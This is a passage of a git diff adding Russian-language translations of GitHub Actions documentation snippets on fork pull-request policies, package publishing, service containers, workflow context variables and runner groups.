`postgres`. Все службы должны выполняться в контейнере, поэтому для каждой из них требуется указать `image` контейнера. Этот пример использует образ контейнера `postgres`, предоставляет пароль PostgreSQL по умолчанию и включает параметры проверки работоспособности, чтобы была возможность убедиться, что служба запущена. Дополнительные сведения см. в разделе [Образ Postgres](https://hub.docker.com/_/postgres) на Docker Hub. diff --git a/translations/ru-RU/data/reusables/actions/private-repository-forks-configure.md b/translations/ru-RU/data/reusables/actions/private-repository-forks-configure.md new file mode 100644 index 000000000000..b63605110950 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/private-repository-forks-configure.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: dc48389e4e331c52d67017151cf599747cc006ee +ms.sourcegitcommit: fdc4466e89467a7b13239e26c6042dc1428946b6 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: "148163842" +--- +1. В разделе **Рабочие процессы запроса на вытягивание** выберите нужные параметры. Например: {% ifversion actions-private-fork-workflow-approvals %} ![Включение, отключение или ограничение действий для этого репозитория](/assets/images/help/settings/actions-fork-pull-request-workflows-require-approval.png){% else %} + + ![Включение, отключение или ограничение действий для этого репозитория](/assets/images/help/settings/actions-fork-pull-request-workflows.png){% endif %} + +1. Нажмите **Сохранить**, чтобы применить настроенные параметры. diff --git a/translations/ru-RU/data/reusables/actions/private-repository-forks-options.md b/translations/ru-RU/data/reusables/actions/private-repository-forks-options.md new file mode 100644 index 000000000000..02d0df98af70 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/private-repository-forks-options.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: d9874c3884e3191a0296272fbead8f30b7630e5a +ms.sourcegitcommit: fdc4466e89467a7b13239e26c6042dc1428946b6 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: "148163838" +--- +- **Выполнять рабочие процессы из запросов на включение внесенных изменений в вилке репозитория** — позволяет пользователям запускать рабочие процессы из запросов на включение внесенных изменений в вилке репозитория с помощью `GITHUB_TOKEN` с разрешением только для чтения и без доступа к секретам. +- **Отправлять маркеры записи в рабочие процессы из запросов на включение внесенных изменений** — позволяет выполнять запросы на включение внесенных изменений в вилке репозитория для использования `GITHUB_TOKEN` с разрешением на запись. +- **Отправка секретов в рабочие процессы из запросов на вытягивание** — делает все секреты доступными для запроса на вытягивание. {% ifversion actions-private-fork-workflow-approvals %} +- **Требовать утверждения для рабочих процессов вилки запросов на вытягивание** . Рабочий процесс, выполняемый в запросах на вытягивание от участников совместной работы без разрешения на запись, потребует утверждения от пользователя с разрешением на запись, прежде чем они будут запущены. {% endif %} diff --git a/translations/ru-RU/data/reusables/actions/private-repository-forks-overview.md b/translations/ru-RU/data/reusables/actions/private-repository-forks-overview.md new file mode 100644 index 000000000000..e2668610946c --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/private-repository-forks-overview.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0734336906d60a230cc3295722758d6e48629a6d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879496" +--- +Если вы используете вилки частных репозиториев, можно настроить политики для управления тем, как пользователи могут запускать рабочие процессы при наступлении событий `pull_request`. Только для частных {% ifversion ghec or ghes or ghae %}и внутренних{% endif %} репозиториев эти параметры политик можно настроить для {% ifversion ghec %}организаций, {% elsif ghes or ghae %}вашей организации, {% endif %}отделов или репозиториев. diff --git a/translations/ru-RU/data/reusables/actions/proxy-considerations.md b/translations/ru-RU/data/reusables/actions/proxy-considerations.md new file mode 100644 index 000000000000..83476443cc3e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/proxy-considerations.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b6640282283af6305f290135894869dfb42cec7c +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "146682512" +--- +Если для организации включено {% data variables.product.prodname_actions %}, поддерживаются только прокси-серверы HTTP. Прокси-серверы SOCKS5 и HTTPS не поддерживаются. diff --git a/translations/ru-RU/data/reusables/actions/publish-to-maven-workflow-step.md b/translations/ru-RU/data/reusables/actions/publish-to-maven-workflow-step.md new file mode 100644 index 000000000000..9b721b7d3edf --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/publish-to-maven-workflow-step.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e61b98fb2e2ad39bf3e17b058b401a6fdb967836 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145089333" +--- +Выполняет команду `mvn --batch-mode deploy` для публикации в репозиторий `ossrh`. Переменная среды `MAVEN_USERNAME` будет задана с содержимым секрета `OSSRH_USERNAME`, а переменная среды `MAVEN_PASSWORD` — с содержимым секрета `OSSRH_TOKEN`. diff --git a/translations/ru-RU/data/reusables/actions/publish-to-packages-workflow-step.md b/translations/ru-RU/data/reusables/actions/publish-to-packages-workflow-step.md new file mode 100644 index 000000000000..23bbd158bed9 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/publish-to-packages-workflow-step.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cdfdf5507dd2c7efa14e7285cc2b18f163d5355d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062414" +--- +Выполняет команду для публикации `mvn --batch-mode deploy` в {% data variables.product.prodname_registry %}. Переменная среды `GITHUB_TOKEN` будет задана с содержимым секрета `GITHUB_TOKEN`. Ключ `permissions` указывает доступ, предоставленный для `GITHUB_TOKEN`. diff --git a/translations/ru-RU/data/reusables/actions/publishing-java-packages-intro.md b/translations/ru-RU/data/reusables/actions/publishing-java-packages-intro.md new file mode 100644 index 000000000000..c447c07aa8a7 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/publishing-java-packages-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 91fd7348d4638818ff2d4ca6f717ebf842d9f358 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145089330" +--- +В этом руководстве показано, как создать рабочий процесс, который публикует пакеты Java в {% data variables.product.prodname_registry %} и центральном репозитории Maven. С помощью одного рабочего процесса можно публиковать пакеты в одном репозитории или в нескольких. diff --git a/translations/ru-RU/data/reusables/actions/pull-request-table-entry.md b/translations/ru-RU/data/reusables/actions/pull-request-table-entry.md new file mode 100644 index 000000000000..72b41f2b7c67 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/pull-request-table-entry.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a7d6ea3514aed78925bb9102f02fe3b5d82ed704 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880151" +--- +| Активация рабочего процесса для автоматического запуска: | [`pull_request`](/actions/using-workflows/events-that-trigger-workflows#pull_request) | diff --git a/translations/ru-RU/data/reusables/actions/pure-javascript.md b/translations/ru-RU/data/reusables/actions/pure-javascript.md new file mode 100644 index 000000000000..efc67d85adcf --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/pure-javascript.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cbccd6211a31c17f3b717f74f5d5897a7ad25e4d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147518795" +--- +Чтобы обеспечить совместимость действий JavaScript со всеми средствами выполнения, размещенными в GitHub (Ubuntu, Windows и macOS), упакованный код JavaScript должен быть чистым JavaScript без зависимостей от других двоичных файлов. Действия JavaScript запускаются непосредственно в средстве выполнения и используют двоичные файлы, которые уже существуют в образе средства выполнения тестов. diff --git a/translations/ru-RU/data/reusables/actions/push-table-entry.md b/translations/ru-RU/data/reusables/actions/push-table-entry.md new file mode 100644 index 000000000000..6cd75d1af752 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/push-table-entry.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1b2b8783dc6c54eeab85e876df56001cfd5743a4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062149" +--- +| Активация рабочего процесса для автоматического запуска: | [`push`](/actions/using-workflows/events-that-trigger-workflows#push) | diff --git a/translations/ru-RU/data/reusables/actions/redis-environment-variables.md b/translations/ru-RU/data/reusables/actions/redis-environment-variables.md new file mode 100644 index 000000000000..4d97eda88ed2 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/redis-environment-variables.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8eff695be10a097b9693095c219f3a67a3895560 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147886601" +--- +Скрипт *client.js* ищет переменные среды `REDIS_HOST` и `REDIS_PORT` для создания клиента. Эти две переменные среды задаются на шаге рабочего процесса "Подключение к Redis", после чего становятся доступны скрипту *client.js*. Дополнительные сведения о скрипте см. в разделе [Тестирование контейнера службы Redis](#testing-the-redis-service-container). diff --git a/translations/ru-RU/data/reusables/actions/redis-label-description.md b/translations/ru-RU/data/reusables/actions/redis-label-description.md new file mode 100644 index 000000000000..e5696c1b979f --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/redis-label-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 662ae539ae3cfdb6446d31664da325a9a67e9a26 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145069513" +--- +Рабочий процесс настраивает контейнер службы с меткой `redis`. Все службы должны выполняться в контейнере, поэтому для каждой из них требуется указать `image` контейнера. В этом примере используется образ контейнера `redis` и включены параметры проверки работоспособности, чтобы убедиться, что служба запущена. Дополнительные сведения см. в разделе [Образ Redis](https://hub.docker.com/_/redis) на Docker Hub. diff --git a/translations/ru-RU/data/reusables/actions/ref-description.md b/translations/ru-RU/data/reusables/actions/ref-description.md new file mode 100644 index 000000000000..371995d7eda1 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/ref-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b4949218acc89828772bf2bea3998dfde3a10e95 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080454" +--- +Ссылка на ветку или тег, через которые был инициирован запуск рабочего процесса. Если рабочий процесс запущен по триггеру `push`, здесь указывается ссылка на отправленную ветвь или тег выпуска. Если рабочий процесс запущен по триггеру `pull_request`, здесь указывается ветвь слияния для запроса на вытягивание. Если рабочий процесс запущен по триггеру `release`, здесь указывается созданный тег выпуска. Для всех остальных триггеров указывается ссылка на ветвь или тег, которые активировали запуск рабочего процесса. Это значение задается только для тех типов событий, в которых доступны ветвь или тег. Ссылка сохраняется в полном формате, то есть `refs/heads/` для ветвей, `refs/pull//merge` для запросов на вытягивание и `refs/tags/` для тегов. Например, `refs/heads/feature-branch-1`. diff --git a/translations/ru-RU/data/reusables/actions/ref_name-description.md b/translations/ru-RU/data/reusables/actions/ref_name-description.md new file mode 100644 index 000000000000..b57457d5ccf1 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/ref_name-description.md @@ -0,0 +1 @@ +The short ref name of the branch or tag that triggered the workflow run. This value matches the branch or tag name shown on {% data variables.product.prodname_dotcom %}. For example, `feature-branch-1`. diff --git a/translations/ru-RU/data/reusables/actions/ref_protected-description.md b/translations/ru-RU/data/reusables/actions/ref_protected-description.md new file mode 100644 index 000000000000..306002b899d5 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/ref_protected-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e3a5d34c1e7fa7964296417f959e02f7d25322d1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145069509" +--- +Значение `true`, если защита ветви настроена для ссылки, которая активировала выполнение рабочего процесса. diff --git a/translations/ru-RU/data/reusables/actions/ref_type-description.md b/translations/ru-RU/data/reusables/actions/ref_type-description.md new file mode 100644 index 000000000000..0f118f9e4062 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/ref_type-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: eb37287768f8539b10e549b5407c9aeb1170d1eb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145089317" +--- +Тип ссылки, активировавшей выполнение рабочего процесса. Допустимые значения: `branch` или `tag`. diff --git a/translations/ru-RU/data/reusables/actions/registry-credentials.md b/translations/ru-RU/data/reusables/actions/registry-credentials.md new file mode 100644 index 000000000000..d91f41410854 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/registry-credentials.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 35dfd476fcffeaf23740ff0513b2675390f9a76f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145069508" +--- +Если реестру контейнеров образа требуется проверка подлинности для извлечения образа, можно использовать `jobs..container.credentials`, чтобы настроить `map` для `username` и `password`. Учетные данные являются теми же значениями, которые будут предоставлены команде [`docker login`](https://docs.docker.com/engine/reference/commandline/login/). diff --git a/translations/ru-RU/data/reusables/actions/release-trigger-workflow.md b/translations/ru-RU/data/reusables/actions/release-trigger-workflow.md new file mode 100644 index 000000000000..64c542ca3454 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/release-trigger-workflow.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 03b40aba643f6c512d3082d997497374a24b8194 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145089309" +--- +Каждый раз при создании выпуска в {% data variables.product.product_name %} можно активировать рабочий процесс для публикации образа. Рабочий процесс в приведенном ниже примере выполняется при активации события `release` с типом действия `created`. Дополнительные сведения о событии `release` см. в статье "[События, активирующие рабочие процессы](/actions/reference/events-that-trigger-workflows#release)". diff --git a/translations/ru-RU/data/reusables/actions/removing-a-runner-group.md b/translations/ru-RU/data/reusables/actions/removing-a-runner-group.md new file mode 100644 index 000000000000..70ca29a1198b --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/removing-a-runner-group.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: d3eda8a12037f1da8ec915c4652fa658f34fcc6b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148110115" +--- +При удалении группы содержавшиеся в ней средства выполнения автоматически возвращаются в группу по умолчанию. + +{% ifversion ghes or ghae or ghec %} {% data reusables.actions.runner-groups-navigate-to-repo-org-enterprise %} +1. В списке групп справа от группы, которую хотите удалить, щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. +2. Чтобы удалить эту группу, нажмите **Удалить группу**. +3. Просмотрите запросы на подтверждение и нажмите **Удалить эту группу средств выполнения**. Все средства выполнения, по-прежнему находящиеся в этой группе, будут автоматически перемещены в группу по умолчанию, где они наследуют разрешения на доступ, назначенные этой группе. + +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/reusable-workflow-artifacts.md b/translations/ru-RU/data/reusables/actions/reusable-workflow-artifacts.md new file mode 100644 index 000000000000..4369c99de926 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/reusable-workflow-artifacts.md @@ -0,0 +1,3 @@ +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +All actions and workflows called within a run have write access to that run's artifacts. +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/reusable-workflow-calling-syntax.md b/translations/ru-RU/data/reusables/actions/reusable-workflow-calling-syntax.md new file mode 100644 index 000000000000..2b4d1042dfe0 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/reusable-workflow-calling-syntax.md @@ -0,0 +1,4 @@ +* `{owner}/{repo}/.github/workflows/{filename}@{ref}`{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} for reusable workflows in public {% ifversion ghes or ghec or ghae %}or internal{% endif %} repositories. +* `./.github/workflows/{filename}` for reusable workflows in the same repository.{% endif %} + +`{ref}` can be a SHA, a release tag, or a branch name. Using the commit SHA is the safest for stability and security. For more information, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#reusing-third-party-workflows)." {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}If you use the second syntax option (without `{owner}/{repo}` and `@{ref}`) the called workflow is from the same commit as the caller workflow.{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/reusable-workflows-ghes-beta.md b/translations/ru-RU/data/reusables/actions/reusable-workflows-ghes-beta.md new file mode 100644 index 000000000000..6fb3ef2e4fcd --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/reusable-workflows-ghes-beta.md @@ -0,0 +1,9 @@ +{% ifversion ghes = 3.4 %} + +{% note %} + +**Note**: Reusable workflows are currently in beta and subject to change. + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/reusable-workflows.md b/translations/ru-RU/data/reusables/actions/reusable-workflows.md new file mode 100644 index 000000000000..c1f3f78088f2 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/reusable-workflows.md @@ -0,0 +1,4 @@ +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} + +{% ifversion ghes or ghec or ghae %}You can share workflows with your organization, publicly or privately, by calling{% else %} You can call{% endif %} one workflow from within another workflow. This allows you to reuse workflows, avoiding duplication and making your workflows easier to maintain. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/run_id_description.md b/translations/ru-RU/data/reusables/actions/run_id_description.md new file mode 100644 index 000000000000..39e54c83c50c --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/run_id_description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d2eb1d49e6bb3057ce347b8bdd37f7f1a66014fa +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145069489" +--- +Уникальный номер каждого запуска рабочего процесса в репозитории. Он не изменяется при повторном запуске рабочего процесса. diff --git a/translations/ru-RU/data/reusables/actions/run_number_description.md b/translations/ru-RU/data/reusables/actions/run_number_description.md new file mode 100644 index 000000000000..6844c499d920 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/run_number_description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4e92d27887f94b524e0e5d9c2d007b29e2dbb28b +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878751" +--- +Уникальный номер для каждого запуска определенного рабочего процесса в репозитории. Он начинается с цифры 1 для первого запуска рабочего процесса и увеличивается с каждым новым запуском. Он не изменяется при повторном запуске рабочего процесса. diff --git a/translations/ru-RU/data/reusables/actions/runner-app-open-source.md b/translations/ru-RU/data/reusables/actions/runner-app-open-source.md new file mode 100644 index 000000000000..0fa89d2eabe1 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-app-open-source.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c0dfa2882463f7e1c169a26b9ea94ce314db2c4a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145069485" +--- +Приложение средства запуска {% data variables.product.prodname_actions %} предоставляется с открытым кодом. Сведения о проблемах можно внести в репозиторий [средства выполнения](https://github.com/actions/runner). diff --git a/translations/ru-RU/data/reusables/actions/runner-arch-description.md b/translations/ru-RU/data/reusables/actions/runner-arch-description.md new file mode 100644 index 000000000000..eedce5ae492e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-arch-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: af8eda15fb2efa1997bec460be9f8d9549171c71 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145089258" +--- +Архитектура средства выполнения задания. Возможные значения: `X86`, `X64`, `ARM` или `ARM64`. diff --git a/translations/ru-RU/data/reusables/actions/runner-debug-description.md b/translations/ru-RU/data/reusables/actions/runner-debug-description.md new file mode 100644 index 000000000000..a98b3ef9754e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-debug-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e97366a49253e628513ace9247bb7f4c9301aa80 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147614556" +--- +Это делается только в том случае, если [ведение журнала отладки](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging) включено и всегда имеет значение `1`. Это может быть полезно в качестве индикатора для включения дополнительной отладки или подробного ведения журнала в ваших шагах задания. diff --git a/translations/ru-RU/data/reusables/actions/runner-group-assign-policy-org.md b/translations/ru-RU/data/reusables/actions/runner-group-assign-policy-org.md new file mode 100644 index 000000000000..4c8bcb77dbc1 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-group-assign-policy-org.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 1122a6eba1b8e9e2501ddf011c36baf6d0a5f2e9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145069481" +--- +1. Назначьте политику для доступа организации. + + Группу средств выполнения можно настроить так, чтобы она была доступна для организаций из определенного списка или для всех организаций предприятия.{% ifversion ghec or ghes %} По умолчанию только частные репозитории могут обращаться к средствам выполнения в группе средств выполнения, но это можно переопределить. Этот параметр нельзя переопределить при настройке группы средств выполнения организации, которая совместно используется в предприятии. {% endif %} diff --git a/translations/ru-RU/data/reusables/actions/runner-group-assign-policy-repo.md b/translations/ru-RU/data/reusables/actions/runner-group-assign-policy-repo.md new file mode 100644 index 000000000000..636129b3c371 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-group-assign-policy-repo.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: ef09954dd829eae3eb7cfaefbefab65b9a2fffc5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145089253" +--- +1. Назначьте политику для доступа к репозиторию. + + Группу средств выполнения можно настроить так, чтобы она была доступна для репозиториев из определенного списка или для всех репозиториев в организации. {% ifversion ghec or ghes %} По умолчанию только частные репозитории могут обращаться к средствам выполнения в группе средств выполнения, но это можно переопределить. Этот параметр нельзя переопределить при настройке группы средств выполнения организации, которая совместно используется в предприятии. {% endif %} diff --git a/translations/ru-RU/data/reusables/actions/runner-group-assign-policy-workflow.md b/translations/ru-RU/data/reusables/actions/runner-group-assign-policy-workflow.md new file mode 100644 index 000000000000..3d09c2f95786 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-group-assign-policy-workflow.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 115103621cb0b156ebb7a3c2c72f0f303c497cfb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146178610" +--- +{%- ifversion restrict-groups-to-workflows %} +1. Назначьте политику доступа для рабочих процессов. + + Группу средств выполнения можно сделать доступной для определенного списка рабочих процессов или для всех рабочих процессов. Этот параметр нельзя переопределить, если вы настраиваете группу средств выполнения в организации, которая используется совместно в предприятии. Указывая, какой рабочий процесс может получить доступ к группе средств выполнения, необходимо использовать полный путь к рабочему процессу, включая имя и владельца репозитория, а также нужно прикрепить рабочий процесс к ветви, тегу или полному значению SHA. Например: `octo-org/octo-repo/.github/workflows/build.yml@v2, octo-org/octo-repo/.github/workflows/deploy.yml@d6dc6c96df4f32fa27b039f2084f576ed2c5c2a5, monalisa/octo-test/.github/workflows/test.yml@main`. + + Доступ к этой группе средств выполнения будут иметь только задания, непосредственно определенные в выбранных рабочих процессах.{%- endif %} diff --git a/translations/ru-RU/data/reusables/actions/runner-group-enterprise-overview.md b/translations/ru-RU/data/reusables/actions/runner-group-enterprise-overview.md new file mode 100644 index 000000000000..88eeb533b02f --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-group-enterprise-overview.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 761cee3710852bda8e1f36d47da475e2c6d6b130 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148110114" +--- +Группы средств выполнения используются для управления доступом к средствам выполнения на уровне организации и предприятия. Владельцы предприятия могут настраивать политики доступа, определяющие, какие организации {% ifversion restrict-groups-to-workflows %}и рабочие процессы {% endif %}в предприятии имеют доступ к группе средств выполнения. Владельцы организации могут настраивать политики доступа, определяющие, какие репозитории {% ifversion restrict-groups-to-workflows %}и рабочие процессы {% endif %} в организации имеют доступ к группе средств выполнения. + +Когда владелец предприятия предоставляет доступ к группе средств выполнения, владельцы организации могут видеть группу средств выполнения, указанную в параметрах средства выполнения организации. Затем владельцы организации могут назначить дополнительные детальные политики доступа репозиториев{% ifversion restrict-groups-to-workflows %} и рабочих процессов{% endif %} к группе средств выполнения предприятия. diff --git a/translations/ru-RU/data/reusables/actions/runner-groups-add-to-enterprise-first-steps.md b/translations/ru-RU/data/reusables/actions/runner-groups-add-to-enterprise-first-steps.md new file mode 100644 index 000000000000..5215ec2e7292 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-groups-add-to-enterprise-first-steps.md @@ -0,0 +1,11 @@ +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +{%- ifversion ghec or ghes > 3.3 or ghae > 3.3 %} +{% data reusables.enterprise-accounts.actions-runner-groups-tab %} +1. Click **New runner group**. +{%- elsif ghes < 3.4 or ghae %} +{% data reusables.enterprise-accounts.actions-runners-tab %} +1. Use the **Add new** drop-down, and select **New group**. +{%- endif %} +1. Under "Group name", type a name for your runner group. diff --git a/translations/ru-RU/data/reusables/actions/runner-groups-navigate-to-repo-org-enterprise.md b/translations/ru-RU/data/reusables/actions/runner-groups-navigate-to-repo-org-enterprise.md new file mode 100644 index 000000000000..661c287b7562 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-groups-navigate-to-repo-org-enterprise.md @@ -0,0 +1,24 @@ +--- +ms.openlocfilehash: c1f0ddf259431616bbada45e736385bb45ba3d75 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147764103" +--- +{% ifversion fpt %} +1. Перейдите на главную страницу репозитория или организации, где находятся группы средств выполнения. +2. Щелкните {% octicon "gear" aria-label="The Settings gear" %} **Параметры**. +{% data reusables.organizations.settings-sidebar-actions-runner-groups %} {% elsif ghec or ghes or ghae %} +1. Перейдите к расположению групп средства выполнения. + * **В организации**: перейдите на главную страницу и щелкните {% octicon "gear" aria-label="The Settings gear" %} **Параметры**. + * **При использовании группы уровня предприятия**: + +{% indented_data_reference reusables.enterprise-accounts.access-enterprise spaces=5 %} +2. Перейдите к параметрам "Группы средств выполнения": + * **В организации**: + +{% indented_data_reference reusables.actions.settings-ui.settings-actions-runner-groups spaces=5 %} + * **При использовании группы уровня предприятия**: + +{% indented_data_reference reusables.enterprise-accounts.policies-tab spaces=5 %} {% indented_data_reference reusables.enterprise-accounts.actions-tab spaces=5 %} {% indented_data_reference reusables.enterprise-accounts.actions-runner-groups-tab spaces=5 %} {% endif %} diff --git a/translations/ru-RU/data/reusables/actions/runner-label-settings.md 